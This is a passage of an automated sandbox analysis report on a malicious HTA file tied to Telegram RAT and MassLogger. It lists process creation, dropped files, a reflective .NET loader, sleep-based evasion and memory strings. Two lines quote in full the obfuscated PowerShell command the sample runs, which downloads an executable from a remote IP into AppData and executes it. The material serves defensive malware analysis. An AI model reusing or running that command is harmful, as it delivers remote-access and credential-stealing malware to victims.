Source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: 16.2.dajivhqI.pif.29915570.9.raw.unpack, _.cs	.Net Code: ___ System.Reflection.Assembly.Load(byte[])
Source: 16.2.dajivhqI.pif.287c0000.5.raw.unpack, _.cs	.Net Code: ___ System.Reflection.Assembly.Load(byte[])
Source: 16.2.dajivhqI.pif.28550a4e.3.raw.unpack, _.cs	.Net Code: ___ System.Reflection.Assembly.Load(byte[])

Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_046B42D9 push ebx; ret	3_2_046B42DA
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C2ED push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C2D5 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C2A8 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C2A1 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EB62A4 push 02EB630Fh; ret	11_2_02EB6307
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C2BC push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C299 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C291 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C261 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C204 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E93210 push eax; ret	11_2_02E9324C
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EB60AC push 02EB6125h; ret	11_2_02EB611D
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA606B push 02EA60A4h; ret	11_2_02EA609C
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA606C push 02EA60A4h; ret	11_2_02EA609C
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EAA018 push ecx; mov dword ptr [esp], edx	11_2_02EAA01D
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EB61F8 push 02EB6288h; ret	11_2_02EB6280
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9617A push 02E961BEh; ret	11_2_02E961B6
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9617C push 02E961BEh; ret	11_2_02E961B6
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EB6144 push 02EB61ECh; ret	11_2_02EB61E4
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9F68F push 02E9F64Dh; ret	11_2_02E9F645
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9F600 push 02E9F64Dh; ret	11_2_02E9F645
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9F4F4 push 02E9F56Ah; ret	11_2_02E9F562
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9C498 push 02E9C61Eh; ret	11_2_02E9C616
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA2410 push ecx; mov dword ptr [esp], edx	11_2_02EA2412
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9F5FF push 02E9F64Dh; ret	11_2_02E9F645
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EB5854 push 02EB5A3Ah; ret	11_2_02EB5A32
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA2EDA push 02EA2F87h; ret	11_2_02EA2F7F
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA2EDC push 02EA2F87h; ret	11_2_02EA2F7F
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02E9BE18 push ecx; mov dword ptr [esp], edx	11_2_02E9BE1D
Source: C:\Users\user\AppData\Roaming\csrss.exe	Code function: 11_2_02EA9FB4 push ecx; mov dword ptr [esp], edx	11_2_02EA9FB9

Source: 16.2.dajivhqI.pif.287c0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'adwZu8e65Q9J7', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 16.3.dajivhqI.pif.26abd218.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'adwZu8e65Q9J7', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 16.2.dajivhqI.pif.2b4e0000.10.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'adwZu8e65Q9J7', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 16.2.dajivhqI.pif.28551936.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'adwZu8e65Q9J7', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 16.2.dajivhqI.pif.29916458.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'adwZu8e65Q9J7', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Source: C:\Users\user\AppData\Roaming\csrss.exe	File created: C:\Users\user\Links\dajivhqI.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\csrss.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\csrss[1].exe	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Links\dajivhqI.pif	Memory allocated: 28690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Memory allocated: 28910000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Memory allocated: 2A910000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599561	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598655	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598411	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 598092	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597728	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597575	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597357	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 597027	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596811	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596482	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596374	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596155	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595154	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 595043	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594923	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594733	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594545	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 593891	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Thread delayed: delay time: 593766	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Window / User API: threadDelayed 6867	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7365	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2258	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Window / User API: threadDelayed 6860	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif	Window / User API: threadDelayed 2974	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe TID: 7804	Thread sleep count: 6867 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep count: 7365 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep count: 2258 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 3104	Thread sleep count: 6860 > 30	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 3104	Thread sleep count: 2974 > 30	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599561s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598655s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598546s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598411s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -598092s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597728s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597575s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597357s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -597027s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596811s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596482s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596374s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596155s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595499s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595154s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -595043s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594923s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594733s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594545s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594437s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594218s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594109s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -594000s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -593891s >= -30000s	Jump to behavior
Source: C:\Users\user\Links\dajivhqI.pif TID: 1408	Thread sleep time: -593766s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: dajivhqI.pif, 00000010.00000002.2494483667.0000000026AA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll?"
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1410505100.00000000083C5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1410505100.00000000083A4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1399095637.0000000007461000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1384687174.0000000004CE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: csrss.exe, 0000000B.00000002.1358126115.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\csrss.exe	API call chain: ExitProcess graph end node			graph_11-28485
Source: C:\Users\user\Links\dajivhqI.pif	API call chain: ExitProcess graph end node			graph_16-51852

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mybestgirlfriendwalkingaroundtheworld.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

